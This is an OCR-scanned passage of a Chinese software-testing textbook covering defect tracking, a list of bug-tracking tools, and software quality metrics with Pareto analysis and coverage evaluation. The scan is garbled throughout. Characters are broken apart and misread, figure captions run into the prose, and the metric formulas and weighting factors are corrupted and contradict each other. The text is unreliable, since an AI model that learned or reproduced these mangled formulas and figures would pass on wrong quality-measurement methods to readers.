量 比较 差 , 有 利于 程序 质量 的 改进 和 提高 。 进 一 吝 35 

步 分 析 ,可 以 计算 出 PI 优先 级 缺陷 从 报告 到 关闭 等 22 

所 需要 的 平均 时 间 ,就 可 以 知道 开发 人 员 是 否 按 1 图 

照 要 求 去 做 ,一 般 来 说 PL 优先 级 缺陷 规定 必须 在 oH LLL 
24 小 时 之 内 被 解决 。 再 比如 ,各 个 级 别 的 缺陷 数 优先 级 


量 一 般 遵守 这 样 的 规律 : Pl 二 P2 二 P3。 如 果 不 符 图 15-6 缺陷 的 4 种 优先 级 分 布 
合 正 常 缺陷 分 布 ,如 图 15-6 所 示 , 可 能 说 明代 码 
质量 不 好 ,需要 进一步 分 析 , 找 出 其 根本 原因 。 

分 析 软 件 缺 陷 产 生 的 根本 原因 不 仅 有 助 于 测试 人 员 决 定 哪些 功能 领域 需要 增强 测试 ， 
而 且 可 以 使 开发 人 员 的 注意 力 集中 到 那些 引起 缺陷 最 严重 .出 现 最 频繁 的 领域 。 图 15-7 显 
示 了 软件 缺陷 产生 的 3 个 主要 来 源 : 用 户 界 面 显 示 ,. 业 务 逻 辑 和 规格 说 明 书 , 占 软 件 缺 陷 总 
数 的 74%。 如 果 从 测试 风险 角度 看 ,这 些 区 域 可 能 是 隐藏 缺陷 比较 多 的 地 方 ,需要 测试 得 
更 细 、 更 深 些 。 从 开发 角度 来 说 ,这 些 就 是 提高 代码 质量 的 主要 区 域 , 假 定 某 个 产品 前 后 发 


现 1000 个 Bug ,代码 在 这 3 个 区 域 减少 一 半 , 则 总 缺陷 数 能 减少 37. 5% ,减少 375 个 缺陷 ， 


代码 质量 改善 效果 就 会 显著 。 
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图 15-7 根本 原因 图 表 
15.3.4 缺陷 跟踪 方法 


缺陷 数据 是 生成 各 种 各 样 测试 分 析 、 质 量 控 制图 表 的 基础 ,从 上 述 缺陷 分 析 中 可 以 清楚 
地 了 解 缺 陷 的 发 现 过 程 、 修 复 过程 以 及 各 类 缺陷 的 分 布 情况 ,从 而 能 够 有 效 地 跟踪 缺陷 , 改 
进 测试 过 程 ,督促 开发 人 员 的 工作 进度 ,最终 保证 项 目 按时 完成 。 

1. 当前 缺陷 状态 

软件 缺陷 情况 可 以 基本 反映 项 目的 状态 ,例如 通过 表 15-8 所 示 的 软件 缺陷 列表 (bug 
dashboard) 可 以 反映 项 目的 缺陷 状态 。 


表 15-8 软件 缺陷 列表 


级 别 总 数 | 未 处 理 的 | 正在 处 理 的 | 修正 的 | 不 是 缺陷 | 重复 的 | 暂 不 处 理 关闭 

致命 的 2 0 0 0 0 0 2 

严重 的 216 18 7 5 1 4 20 161 

一 般 的 31 23 1 0 0 0 0 7 

微小 的 5 2 0 0 0 3 0 0 
2. 项 目 发 展 趋势 


缺陷 打开 /关闭 图 表 是 最 基本 的 缺陷 分 析 图 表 , 它 能 提供 许多 有 关 软 件 缺 陷 、 项 目 进度 、 
产品 质量 、 开 发 人 员 的 工作 等 信息 : 

(1) 项 目 目 前 的 质量 情况 取决 于 累积 打开 曲线 和 累积 关闭 曲线 的 趋势 。 

(2) 项 目 目前 的 进度 取决 于 累积 关闭 曲线 和 累积 打开 曲线 起 点 的 时 间 差 。 

(3) 开发 人 员 已 经 完成 修复 软件 缺陷 了 吗 ? 累积 关闭 曲线 是 否 快速 地 上 升 ? 

(4) 测试 人 员 是 否 积 极地 去 验证 软件 缺陷 , 即 累 积 关 闭 曲 线 是 否 紧 跟 在 累积 打开 曲线 
后 面 ? 

管理 者 可 以 知道 项 目 在 哪 一 个 时 间 点 出 现 问 题 ,同时 协调 开发 和 测试 之 间 的 关系 ,积极 
推动 项 目的 发 展 , 从 而 达到 项 目 里 程 碑 的 要 求 ,提高 项 目 发 布 的 质量 。 例 如 ,从 一 个 测试 阶 
段 到 另 一 个 测试 阶段 时 ,如 果 发 现 新 发 现 的 缺陷 累积 曲线 有 一 个 凸 起 ,这 样 的 凸 起 就 应 注 


意 , 可 能 说 明 开发 人 员 修复 软件 缺陷 时 引入 了 较 多 的 回归 缺陷 或 者 有 些 软件 缺陷 被 遗漏 到 
下 一 个 阶段 发 现 了 。 项 目 管理 人 员 需 要 召开 紧急 会 议 分 析 当 前 项 目 情况 ,找到 解决 办 法 。 


15.4 ”软件 缺陷 跟踪 系统 


到 目前 为 止 所 讲述 的 一 切 表面 上 看 起 来 很 好 ,但 是 运用 到 实践 中 还 需要 软件 缺陷 跟踪 
系统 ,以 便 描 述 报告 所 发 现 的 缺陷 ,处 理 软件 缺陷 属性 ,跟踪 软件 缺陷 的 整个 生命 周期 和 生 
成 软件 缺陷 跟踪 图 表 等 。 使 用 Microsoft Excel 电子 表格 或 Word 文档 来 记录 和 跟踪 软件 
缺陷 ,但 一 般 只 限于 最 后 的 分 析 报 告 .文档 的 打印 。 为 了 灵活 地 存储 、 操 作 、 搜 索 、 分 析 以 及 
报告 大 量 数据 ,需要 建 一 个 数据 库 。 为 什么 需要 建立 一 套 软 件 缺陷 跟踪 系统 呢 ? 因为 它 会 
让 测试 人 员 受 益 无 穷 ,概括 起 来 有 : 

(1) 软件 缺陷 跟踪 系统 拥有 软件 缺陷 跟踪 数据 库 , 它 不 仅 有 利于 软件 缺陷 的 清楚 描述 ， 
还 提供 统一 的 ,标准 化 的 报告 ,使 所 有 人 的 理解 一 致 。 

(2) 缺陷 跟踪 数据 库 允 许 自动 连续 地 给 软件 缺陷 编号 ,还 提供 了 大 量 供 分 析 和 统计 的 
选项 ,这 是 手工 方法 无 法 实现 的 。 

(3) 基于 缺陷 跟踪 数据 库 , 可 快速 生成 满足 各 种 查询 条 件 的 、 必 要 的 缺陷 报表 曲线 图 
等 ,开发 小 组 乃至 公司 的 每 一 个 人 都 可 以 随时 掌握 软件 产品 质量 的 整体 状况 ,测试 /开发 的 

(4) 缺陷 跟踪 数据 库 提供 了 软件 缺陷 属性 并 允许 开发 小 组 根据 对 项 目的 相对 和 绝对 重 

(5) 可 以 在 软件 缺陷 的 生命 周期 中 管理 缺陷 ,从 最 初 的 报告 到 最 后 的 解决 。 确 保 了 每 
一 个 缺陷 不 会 被 忽略 ,同时 , 它 还 可 以 使 注意 力 保持 在 那些 必须 尽快 修复 的 重要 缺陷 上 。 

(6) 当 缺 陷 在 它 的 生命 周期 中 变化 时 ,开发 人 员 ,测试 人 员 以 及 管理 人 员 将 熟悉 新 的 软 
件 缺 陷 信息 。 一 个 设计 良好 的 软件 缺陷 跟踪 系统 可 以 获取 历史 记录 ,并 在 检查 缺陷 的 状态 
时 参考 历史 记录 。 

CT) 在 软件 缺陷 跟踪 数据 库 中 关闭 每 一 份 缺陷 报告 , 它 都 可 以 被 记录 下 来 。 当 产品 送 
出 去 时 ,每 一 份 未 关闭 的 缺陷 报告 都 提供 了 预先 警告 的 有 效 技术 支持 ,并 且 证 明 测试 人 员 找 
到 特殊 领域 突然 出 现 的 事件 中 的 软件 缺陷 。 

所 有 缺陷 的 数据 不 仅 要 存储 在 共享 数据 库 中 ,还 要 有 相关 的 数据 连接 ,如 产品 特性 数据 
库 、 产 品 配置 数据 库 、 测 试用 例 数据 库 等 的 集成 。 因 为 某 个 缺陷 是 和 某 个 产品 特性 、 某 个 软 
件 版 本 、 某 个 测试 用 例 等 相关 联 的 ,有 必要 建立 起 这 些 关联 。 同 时 为 了 提高 缺陷 处 理 的 效 
率 ,还 要 和 邮件 服务 器 集成 ,通过 邮件 传递 ,测试 和 开发 人 员 随 时 可 以 获得 由 系统 自动 发 出 
有 关 缺 陷 状 态 变化 的 邮件 。 

简单 的 缺陷 跟踪 系统 比较 容易 实现 ,可 以 自己 开发 ,也 就 是 用 数据 库 来 记录 表 15-8 中 
各 项 缺陷 信息 ,并 提供 一 些 基本 的 查询 条 件 。 但 是 ,已 经 有 不 少 现存 的 缺陷 跟踪 系统 可 供 测 
试 人 员 选 用 ,无 须 自己 开发 ,可 以 选用 开源 软件 系统 ,也 可 以 选用 商业 化 软件 产品 。 

(1) 开源 缺陷 跟踪 系统 有 : 

。 Mantis: 一 款 基 于 Web 的 软件 缺陷 管理 工具 ,配置 和 使 用 都 很 简单 ,适合 中 小 型 软 

件 开 发 团队 , 详 见 http://mantisbt. sourceforge. net/ 


Bugzilla: 比较 流行 的 缺陷 管理 工具 , 详 见 http://www. mozilla. org/projects/ 
bugzilla/ 


。 Bugzero; http: //bugzero. findmysoft. com/ 


。 Scarab; http://scarab. tigris. org/ 


。 TrackIT: http://trackit. sourceforge. net/ 


e Itracker; http://www. itracker. org/ 

(2) 商业 化 缺陷 跟踪 系统 有 : 

。 JIRA; http://www. atlassian. com (澳大利亚 Atlassian 公司 ) 

¢ IBM ClearQuest: http://www-01. ibm. com/software/awdtools/clearquest/ 


e Compuware TrackRecord; http://www. compuware. com/trackrecord. htm 


e HP TestDirector; http://www. hp. com/ 


¢ TestTrack Pro: http://www. seapine. com/ttpro, html 


DevTrack: www. techexcel. com/products/devsuite/devtrack. html 


Borland Segue SilkCentral Issue Manager 等 。 


小 结 


本 章 讲 解 了 缺陷 报告 和 处 理 的 规范 过 程 , 包 括 缺 陷 描 述 的 基本 信息 和 缺陷 生命 周期 。 
然后 介绍 了 如 何 正确 有 效 地 描述 软件 缺陷 ,并 借助 WinDbg、Soft-ICE 等 工具 提供 各 种 必 
要 的 信息 ,以 及 开发 人 员 和 测试 人 员 如 何 协同 工作 ,分 离 、 跟 踪 和 处 理 软件 缺陷 ,以 保证 优先 
级 高 的 缺陷 及 时 能 得 到 解决 。 

同时 ,测试 人 员 需 要 建立 软件 缺陷 跟踪 数据 库 或 系统 ,收集 各 种 软件 缺陷 的 数据 ,进行 
趋势 分 析 和 分 布 性 分 析 , 了 解 测试 的 进度 和 产品 质量 状况 ,并 找到 软件 开发 过 程 中 薄弱 的 环 


节 , 改 


进 软件 开发 过 程 。 


思考 题 


1 
2 
3 
4 


奋 ,请 


. 软件 缺陷 生命 周期 中 有 哪些 基本 状态 ? 讨论 软件 缺陷 可 能 得 不 到 修复 的 几 个 原因 。 
. 如 何 有 效 地 描述 软件 缺陷 ? 软件 缺陷 报告 包括 哪些 组 成 部 分 ? 

. 安装 和 试用 一 个 软件 缺陷 跟踪 系统 ,如 Mantis 或 Bugzilla。 

.如果 某 项 目 中 软件 缺陷 发 现 速度 下 降 ,测试 人 员 对 项 目 即 将 关闭 准备 发 布 表 示 兴 
问 可 能 有 哪些 原因 会 造成 这 种 假象 ? 


CHAPTER 16- 
#168 


软件 测试 和 质量 分 析 报告 


当 测 试 执行 快要 结束 时 ,就 要 考虑 对 测试 工作 进行 总 结 ,编制 测 
试 报告 。 借 助 测试 报告 ,公司 管理 人 员 和 用 户 就 能 够 了 解 该 项 目的 测 
试 是 如 何 进行 的 ,确定 软件 产品 是 否 得 到 足够 的 测试 以 及 对 测试 结果 
是 否 满意 等 。 测 试 报告 的 写作 是 一 项 关键 的 工作 ,需要 对 整个 测试 过 
程 进行 检查 .评估 和 分 析 , 并 对 当前 的 软件 产品 质量 进行 评估 ,从 而 针 
对 产品 是 否 达到 发 布 的 质量 给 出 结论 。 在 对 软件 产品 及 其 测试 进行 
评估 的 过 程 中 ,经 常 通 过 询问 下 列 问题 以 彻底 地 了 解 测 试 所 执行 的 
情况 : 


单元 测试 采用 什么 方法 和 工具 ? 

代码 行 覆盖 率 是 否 达到 所 设 定 的 目标 ? 

集成 测试 是 否 全 面 验证 了 所 有 接口 及 其 参数 ? 

测试 用 例 是 否 经 过 开发 人 员 产品 经 理 的 严格 评审 ? 

系统 测试 是 否 包 含 了 性 能 ,兼容 性 、 安 全 性 ,恢复 性 等 各 项 测 
试 ? 如 果 执 行 了 ,又 是 怎么 进行 的 ? 结果 如 何 ? 

是 否 完 成 了 测试 计划 所 要 求 的 各 项 测试 内 容 ? 

需要 执行 的 测试 用 例 是 否 百分之百 地 完成 了 ? 

。 所 有 严重 的 Bug 都 修正 了 ? 

类 似 这 些 问 题 都 得 到 肯定 的 答案 之 后 ,说 明 测 试 比 较 充分 ,测试 
工作 基本 完成 。 只 有 确认 系统 得 到 了 充分 的 测试 ,然后 针对 测试 结果 
所 做 出 的 分 析 才 有 很 好 的 可 靠 性 和 准确 性 ,测试 人 员 对 自己 所 得 出 的 
结论 才 有 足够 的 信心 。 要 写 好 测试 报告 ,问题 就 归结 为 如 何 对 测试 过 
程 和 结果 进行 科学 的 恰当 的 评估 ? 


16.1 软件 产品 的 质量 度量 


在 讨论 软件 产品 质量 度量 之 前 , 先 简单 了 解 一 下 软件 度量 的 基本 
概念 .内容 和 方法 。 软 件 度量 是 根据 一 定 的 规则 ,将 数字 或 符号 赋予 
系统 ,构件 ,过程 等 实体 的 特定 属性 ,从 而 能 清晰 地 理解 该 软件 实体 及 
其 属性 的 量化 表示 。 简 而 言 之 ,软件 度量 就 是 对 软件 所 包含 的 各 种 属 


性 的 量化 表示 。 软 件 度量 可 以 提供 深入 了 解 软件 过 程 和 产品 的 衡量 指标 ,使 组 织 能 够 更 好 
地 做 出 决策 以 达成 目标 ,软件 度量 具有 如 下 作用 : 

。 用 数据 指标 表明 验收 标准 ; 

。 监控 项 目 进 度 和 预见 风险 ; 

。 分 配 资源 时 进行 量化 均衡 ; 

。 预计 和 控制 产品 的 过 程 . 成 本 和 质量 。 

所 以 说 软件 度量 是 用 来 衡量 软件 过 程 质量 和 进行 软件 过 程 改进 的 重要 手段 。 但 是 ,为 
了 保持 数据 的 可 靠 性 、 客 观 性 和 准确 性 ,必须 保证 度量 结果 不 用 于 评价 数据 提供 者 的 个 人 工 
作 绩 效 或 素质 。 


16.1.1 软件 度量 及 其 过 程 


软件 度量 一 般 可 分 为 软件 过 程度 量 项目 度量 和 产品 质量 度量 ,本 节 主 要 讨论 产品 质量 
度量 。 针 对 软件 产品 的 质量 度量 ,会 建立 在 软件 产品 的 规模 度量 复杂 度 度量 和 缺陷 度量 的 
基础 上 。 

(1) 规模 度量 : 代码 行 数 ,以 千 行 源 代 码 (KLOC ) 为 基准 , 它 是 工作 量度 量 .进度 度量 的 
基础 。 

(2) 复杂 度 度量 : 分 析 和 估算 软件 产品 结构 及 其 各 部 分 的 复杂 度 指标 ,以 便 选 择 最 可 
靠 的 程序 设计 方法 ,确定 测试 策略 。 

(3) 缺陷 度量 : 获取 产品 缺陷 变化 的 状态 ,以 指示 修复 缺陷 活动 所 需 的 工作 量 ; 或 分 析 
产品 缺陷 分 布 的 情况 ,以 指示 需要 加 强 何 种 研发 活动 ,需要 何 种 技术 培训 ; 或 预测 产品 的 遗 
留 缺陷 情况 ,以 分 析 产 品 发 布 后 缺陷 的 影响 程度 和 范围 。 

根据 度量 目标 .内 容 和 要 求 的 不 同 ,度量 活动 可 能 涉及 一 个 项 目的 所 有 人 员 , 也 可 能 会 
包括 各 种 活动 的 数据 的 收集 与 分 析 。 软 件 度量 的 根本 目的 是 通过 量化 的 分 析 和 总 结 , 提 高 
软件 开发 效率 ,降低 软件 缺陷 和 开发 成 本 ,提高 软件 产品 质量 。 为 了 说 明 软 件 度量 的 过 程 ， 
这 里 以 目标 驱动 的 度量 活动 为 例 。 目 标 驱动 的 软件 度量 过 程 主要 包括 5 个 阶段 

(1) 识别 目标 。 根 据 管理 者 的 不 同 要 求 , 分 析出 度量 的 工作 目标 ,并 根据 其 优先 级 和 可 
行 性 ,得 到 度量 活动 的 工作 目标 列表 ,并 由 管理 者 审核 确认 。 

(2) 定义 度量 过 程 。 根 据 各 个 度量 目标 ,分 别 定义 其 收集 要 素 、 收 集 过 程 、 分 析 \` 反 馈 过 
BEIT 支持 体系 ,为 具体 的 收集 活动 分析、 反馈 活动 和 IT 设备 .工具 开发 提供 指导 。 具 体 
的 定义 内 容 如 下 : 

。 要 素 : 定义 收集 活动 和 分 析 活 动 所 需要 的 数据 要 素 与 收集 表格 。 

。 过程 : 定义 数据 收集 活动 的 形式 、 角 色 及 数据 的 存储 。 

。 分 析 反 馈 过 程 : 定义 对 数据 的 分 析 方 法 和 分 析 报 告 的 反馈 形式 。 

。IT 支 持 体 系 : 定义 IT 支持 设备 和 工具 ,以 协助 数据 收集 和 存储 、 分 析 。 

(3) 搜集 数据 。 根 据 度量 过 程 的 定义 ,借助 IT 基础 设施 (或 支持 工具 ) 进 行 数据 收集 工 
ME ,并 按 指定 的 方式 审查 和 存储 。 在 规定 的 度量 活动 完成 (或 阶段 性 的 度量 活动 完成 ) 后 , 度 
量 小 组 获得 数据 收集 的 结果 。 

(4) 数据 分 析 与 反馈 。 根 据 数据 收集 结果 ,度量 小 组 按照 已 定义 的 分 析 方 法 进行 数据 
分 析 , 完 成 规定 格式 的 图 表 , 向 相关 的 管理 者 和 数据 提供 者 进行 反馈 。 


(5) 过 程 改进 。 根 据 度量 的 分 析 报 告 ,管理 者 确定 软件 开发 活动 与 计划 之 间 是 否 有 偏 
差 , 以 便 控 制 其 执行 ; 或 者 基于 度量 数据 作出 其 他 决策 ,这 些 决 策 可 能 包括 滚动 计划 、 纠 正 
活动 等 。 

其 中 ,识别 目标 ”和 ”定义 度量 过 程 ?是 保证 成 功 搜集 数据 和 分 析 数 据 的 先决 条 件 ,是 度 
量 过 程 最 重要 的 阶段 ;“ 过 程 改进 "是 度量 的 最 终 目 的 。 

对 于 软件 度量 过 程 而 言 ,在 改进 过 程 中 也 评估 度量 过 程 自身 的 完备 性 。 度 量 核心 小 组 
根据 本 次 度量 活动 所 发 现 的 问题 ,将 对 度量 过 程 做 出 变革 ,以 提高 度量 活动 的 效率 ,或 者 更 
加 符合 组 织 的 商业 目标 。 


有 效 软件 度量 的 属性 


(1) 简单 的 和 可 计算 的 。 学 习 如 何 导 出 度量 值 应 该 是 相对 简单 的 ,并 且 其 计算 不 应 
该 要 求 过 多 的 工作 量 和 时 间 。 

(2) 经 验 和 直觉 上 有 说 服 力 。 度 量 应 该 符合 软件 工程 师 对 于 软件 过 程 和 产品 的 直觉 
概念 ,如 测度 模块 内 聚 性 的 度量 值 应 该 随 着 内 聚 度 的 提高 而 提高 。 

(3) 一 致 的 和 客观 的 。 度 量 不 会 产生 二 义 性 的 结果 ,任何 独立 的 第 三 方 使 用 该 软件 
的 相同 信息 能 够 得 到 相同 的 度量 值 。 

(4) 在 其 单位 和 维度 的 使 用 上 是 一 致 的 。 度 量 的 数学 计算 应 该 使 用 不 会 导致 奇异 单 
位 组 合 的 测度 。 例 如 ,把 项 目 队伍 的 人 员 乘 以 程序 中 的 编程 语言 的 变量 会 引起 一 个 直觉 
上 没有 说 服 力 的 单位 组 合 。 

(5) 编程 语言 是 独立 的 。 度 量 应 该 基于 分 析 模型 .设计 模型 或 程序 本 身 的 结构 ,而 不 
依赖 于 编程 语言 的 句法 和 语法 。 

(6) 质量 反馈 的 有 效 机 制 。 度 量 会 为 软件 开发 效率 、 产 品质 量 等 提供 积极 的 信息 。 


16.1.2 软件 质量 的 度量 


客户 需求 是 软件 质量 度量 的 基础 ,不 符合 客户 需求 的 软件 就 没有 质量 。 定 量 的 软件 评 
估 就 是 基于 这 样 的 原则 通过 数学 模型 来 实现 的 ,也 就 是 尺度 度量 (Metrics measurement) 的 
方法 ,这 种 定量 度量 适用 于 一 些 能 够 直接 度量 的 特性 ,包括 软件 可 靠 性 度量 、 复 杂 度 度量 、 缺 
陷 度 量 和 规模 度量 ,如 程序 出 错 率 可 定义 为 每 千 行 代码 (Kilometer Lines of Code, KLOC) 
所 含有 的 Bug 数 。 为 了 进行 质量 度量 ,需要 根据 质量 模型 (McCall 模型 .Boehm 模型 或 ISO 
9126 模型 ,如 2. 1. 1 节 描 述 ) 来 准备 足够 的 数据 ,然后 进行 产品 质量 的 量化 评估 分 析 。 

A) 明确 性 、 正 确 性 、 可 理解 性 、 完 全 性 、 可 验证 性 ,一 致 性 ,简洁 性 、 可 追踪 性 ,可 修改 
性 ,精确 性 和 可 复 用 性 的 数据 可 以 用 来 评价 分 析 模 型 和 相应 的 质量 表现 特征 。 

(2) 公开 的 可 能 缺陷 数 与 报告 总 缺陷 数 的 对 比 则 可 以 用 来 评价 测试 精确 度 和 测试 覆盖 
度 ,同时 也 可 以 预测 项 目 发 布 时 间 。 

(3) 产品 发 布 前 清除 的 缺陷 数 在 总 缺陷 数 中 所 占 的 百分比 ,有 助 于 评估 产品 的 质量 。 

(A) 按 严 重 缺 陷 、 子 系统 缺陷 来 划分 ,分 类 统计 出 平均 修复 时 间 , 这 样 将 有 助 于 规划 纠 
正 缺 陷 的 工作 。 

(5) 利用 测试 的 统计 数据 ,估算 可 维护 性 、 可 靠 性 、 可 用 性 和 原 有 故障 总 数 等 数据 。 这 


些 数据 将 有 助 于 评估 应 用 软件 的 稳定 程度 和 可 能 产生 的 失败 。 
根据 质量 模型 和 上 述 观点 ,就 可 以 用 下 列 带 加 权 因子 的 回归 公式 来 度量 质量 
M; S cı X fi tee X fo to ten X fa 
其 中 ,M; 是 一 个 软件 质量 因素 (如 SQRC 层 各 项 待 计算 值 ), fa 是 影响 质量 因素 的 度量 值 
(如 SQDC 层 各 项 估计 值 ),c 是 加 权 因子 。 部 分 度量 值 可 以 获得 统计 数据 结果 ,还 有 部 分 
的 度量 值 很 难得 到 准确 的 量化 值 , 要 靠 经 验 估算 ,如 通过 检查 表 的 形式 ,让 专家 给 这 些 特定 
属性 打分 。 


16.1.3 质量 度量 的 统计 方法 


质量 度量 的 统计 方法 ,是 对 质量 评估 量化 的 一 种 比较 常用 的 方法 ,主要 包含 以 下 步骤 ， 

A) 收集 和 分 类 软件 缺陷 信息 ; 

(2) 找 出 导致 每 个 缺陷 的 原因 (如 没有 正确 理解 客户 需求 .不 符合 规格 说 明 书 、 设 计 错 
误 、 代 码 错误 ,数据 处 理 错误 、 违 背 标 准 、 界 面 不 友好 等 ); 

(3) 使 用 Pareto 规则 (80% 缺 陷 主 要 是 由 20% 的 主要 因素 造成 的 ,20% 缺 陷 是 由 另外 
80% 的 次 要 因素 造成 的 ) ,要 将 这 20% 的 主要 因素 分 离 出 来 ; 

(4) 一 旦 标 出 少数 的 主要 因素 ,就 比较 容易 纠正 引起 缺陷 的 问题 。 

为 了 说 明 这 一 过 程 ,假定 软件 开发 组 织 收 集 了 为 期 一 年 的 缺陷 信息 。 有 些 错 误 是 在 软 
件 开发 过 程 中 发 现 的 ,其 他 缺陷 则 是 在 软件 交付 给 最 终 用 户 之 后 发 现 的 。 尽 管 发 现 了 数 以 
百 计 的 不 同类 型 的 错误 ,但 是 所 有 错误 都 可 以 追溯 到 下 述 原因 中 的 一 个 或 几 个 : 

。 说 明 不 完整 或 说 明 错误 (IES)， 

。 与 客户 交流 不 够 所 产生 的 误解 (MCC); 
故意 与 说 明 偏离 (IDS)， 

。 违反 编程 标准 (VPS); 

。 数据 表示 有 错 (EDR); 

。 模块 接口 不 一 致 (IMT); 

。 设计 人 逻辑 有 错 (EDL); 

。 不 完整 或 错误 的 测试 (IET)， 

。 不 准确 或 不 完整 的 文档 (IID); 

。 将 设计 翻译 成 程序 设计 语言 中 的 错误 (PLT); 

。 不 清晰 或 不 一 致 的 人 机 界面 (HCD ; 

。 杂项 (MIS)。 

为 了 使 用 质量 度量 的 统计 方法 ,需要 收集 上 述 各 项 数据 ,如 表 16-1 所 示 , 表 中 显示 
IES.MCC,EDR 和 1IET 占 所 有 错误 的 近 62% ,是 影响 质量 的 主要 几 个 原因 。 但 如 果 只 考虑 
那些 严重 影响 产品 质量 的 因素 ,少数 的 主要 原因 就 变 为 [ES、.EDR、PLT 和 EDL。 一 旦 确定 
了 什么 是 少数 的 主要 原因 (IES、EDR 等 ) ,软件 开发 组 织 就 可 以 集中 在 这 些 领域 采取 改进 措 
施 ,质量 改善 的 效果 会 非常 明显 。 例 如 ,为 了 减少 与 客户 交流 不 够 所 产生 的 误解 (改正 
MCC) ,在 产品 规格 设计 说 明 书 中 尽量 不 用 专业 术语 ,即使 用 了 专业 术语 ,也 要 定义 清楚 ,以 
提高 文档 的 质量 和 沟通 的 效率 。 再 比如 ,为 了 改正 EDR (数据 表示 有 错 ) ,不 仅 采 用 CASE 
工具 进行 数据 建 模 , 而 且 对 数据 字典 、 数 据 设计 要 实施 严格 的 复审 制度 。 


表 16-1 质量 度量 的 统计 数据 收集 


总 计 (E;) FES) 一 般 (M;) 微小 (T;) 
错误 数量 百分比 数量 百分比 数量 百分比 数量 百分比 
IES 296 22.3% 55 28.2% 95 18.6% 146 23.4% 
MCC 204 15.3% 18 9.2% 87 17.0% 99 15.9% 
IDS 64 4.8% 2 1.0% 31 6.1% 31 5.0% 
VPS 34 2.6% 1 0.5% 19 3.7% 14 2.2% 
EDR 182 13.7% 38 19.5% 90 17.6% 54 8.7% 
IMI 82 6.2% 14 7.2% 21 4.1% 47 7.5% 
EDL 64 4.8% 20 10.3% 17 3.3% 27 4.3% 
IET 140 10.5% 17 8.7% 51 10.0% 72 11.6% 
1D 54 4.1% 3 1.5% 28 5.5% 23 3.7% 
PLT 87 6.5% 22 11.3% 26 5.1% 39 6.3% 
HCI 42 3.2% 4 2.1% 27 5.3% 11 1.8% 
MIS 81 6.1% 1 0.5% 20 3.9% 60 9.6% 
总 计 1330 100% 195 100% 512 100% 623 100% 


当 与 缺陷 跟踪 数据 库 结合 使 用 时 ,测试 人 员 可 以 为 软件 开发 周期 的 每 个 阶段 计算 其 “ 错 
误 指 标 ”。 针 对 需求 分 析 、` 设 计 、 编 码 ,测试 和 发 布 各 个 阶段 ,收集 到 以 下 数据 : 
。 EF; 二 在 软件 工程 过 程 中 的 第 i 步 中 发 现 的 错误 总 数 ; 
。 S,; 二 严重 错误 数 ，; 
© M; 二 一 般 错 误 数 ; 
。 ;二 微小 错误 数 ; 
。 P= 二 第 i 步 的 产品 规模 (LOC. 设 计 说 明文 档 页 数 ) 。 
W, Wa We 分 别 是 严重 一 般 ,微小 错误 的 加 权 因 子 ,一 般 建 议 取 值 为 W, 二 10、W, =3 
Al W.=1. ER EIN W, =0.6,Wn =0.3 和 WW, 二 0.1( 构 成 100%)。 所 以 每 个 阶段 的 
错误 度量 值 可 以 表示 为 PL: 
PI, = W,(S;/E;) + Wa (M,/E;) + W,(T;/E;) 
最 终 的 错误 指标 Ep 通过 计算 各 个 PL 的 加 权 效 果 得 到 ,考虑 到 软件 测试 过 程 中 越 到 后 
面 发 现 的 错误 其 权 值 越 高 ,简单 用 1,2,3,… ,序列 表示 , 则 Es 为 : 
Er = D GXPL)/Ps, ”其 中 ,Ps = DP: 
错误 指标 与 表 16-1 中 收集 的 信息 相 结 合 ,可 以 得 出 软件 质量 的 整体 改进 指标 。 
质量 度量 的 统计 方法 说 明 : 将 时 间 集 中 用 于 主要 的 问题 解决 之 上 ,首先 就 必须 知道 哪 
些 是 主要 因素 ,而 这 些 主要 因素 可 以 通过 数据 收集 、 统 计 方法 等 分 离 出 来 ,从 而 可 以 更 快 地 
提高 产品 质量 。 实 际 上 ,大 多 数 严重 的 缺陷 都 可 以 追溯 到 少数 的 根本 原因 之 上 ,常常 和 人 们 
的 直觉 是 比较 接近 的 ,但 是 很 少 有 人 花 时 间 收 集 数据 以 验证 他 们 的 直觉 。 


16.2 评估 系统 测试 的 覆盖 程度 


为 什么 要 做 软件 测试 评估 呢 ? 如 果 没 有 测试 评估 ,就 没有 测试 覆盖 率 的 结果 ,就 没有 报 
告 测试 进程 的 根据 。 软 件 测试 评估 主要 有 两 个 目的 : 


。 量化 测试 进程 ,判断 测试 进行 的 状态 ,决定 什么 时 候 测试 可 以 结束 ; 

。 为 编写 测试 报告 或 质量 分 析 报 告 提供 所 需 的 数据 ,如 缺陷 清除 率 、 测 试 覆盖 率 等 。 

测试 评估 是 软件 测试 的 一 个 阶段 性 的 结论 ,以 确定 测试 是 否 达 到 完全 和 成 功 的 标准 。 
测试 评估 可 以 说 贯穿 整个 软件 测试 过 程 ,可 以 在 测试 每 个 阶段 结束 前 进行 ,也 可 以 在 测试 过 
程 中 某 一 个 时 间 进 行 。 

系统 的 测试 活动 建立 在 至 少 一 个 测试 覆盖 策略 基础 上 ,而 覆盖 策略 试图 描述 测试 的 一 
般 目 的 ,指导 测试 用 例 的 设计 。 如 果 测 试 需求 已 经 完全 分 类 , 则 基于 需求 的 覆盖 策略 可 能 足 
以 生成 测试 完全 程度 评测 的 量化 指标 。 例 如 ,如 果 已 经 确定 了 所 有 性 能 测试 需求 , 则 可 以 引 
用 测试 结果 来 得 到 评测 ,如 已 经 核实 了 90% 的 性 能 测试 需求 。 测 试 评估 工作 主要 是 对 测试 
覆盖 率 的 评估 ,测试 覆盖 率 是 衡量 测试 完成 多 少 的 一 种 量化 标准 。 

测试 的 覆盖 率 , 可 以 用 测试 项 目的 数量 和 内 容 进行 度量 。 除 此 之 外 ,如 果 测 试 软件 的 数 
量 较 大 ,还 要 考虑 数据 量 。 测 试 的 覆盖 率 ,可 以 根据 表 16-2 所 示 对 测试 指标 进行 评价 。 通 
过 检查 这 些 指 标 达 到 的 程度 ,就 可 以 度量 出 测试 内 容 的 覆盖 程度 。 

表 16-2 测试 覆盖 程度 表 


测试 覆盖 项 测试 覆盖 率 指标 测试 描述 测试 结果 
界面 覆盖 符合 需求 (所 有 界面 图 标 、 信 息 区 ,状态 区 ) 
静态 功能 覆盖 功能 满足 需求 
动态 功能 覆盖 所 有 功能 的 转换 功能 正确 
正常 测试 覆盖 所 有 硬件 ,软件 正常 时 处 理 
异常 测试 禾 盖 硬件 或 软件 异常 时 处 理 (不 允许 的 操作 ) 测试 结束 判断 


对 测试 覆盖 率 的 评估 就 是 要 确定 测试 执行 的 完全 程度 ,其 基本 方法 有 基于 需求 的 测试 
覆盖 评估 和 基于 代码 的 测试 覆盖 评估 。 


16.2.1 对 软件 需求 的 估算 


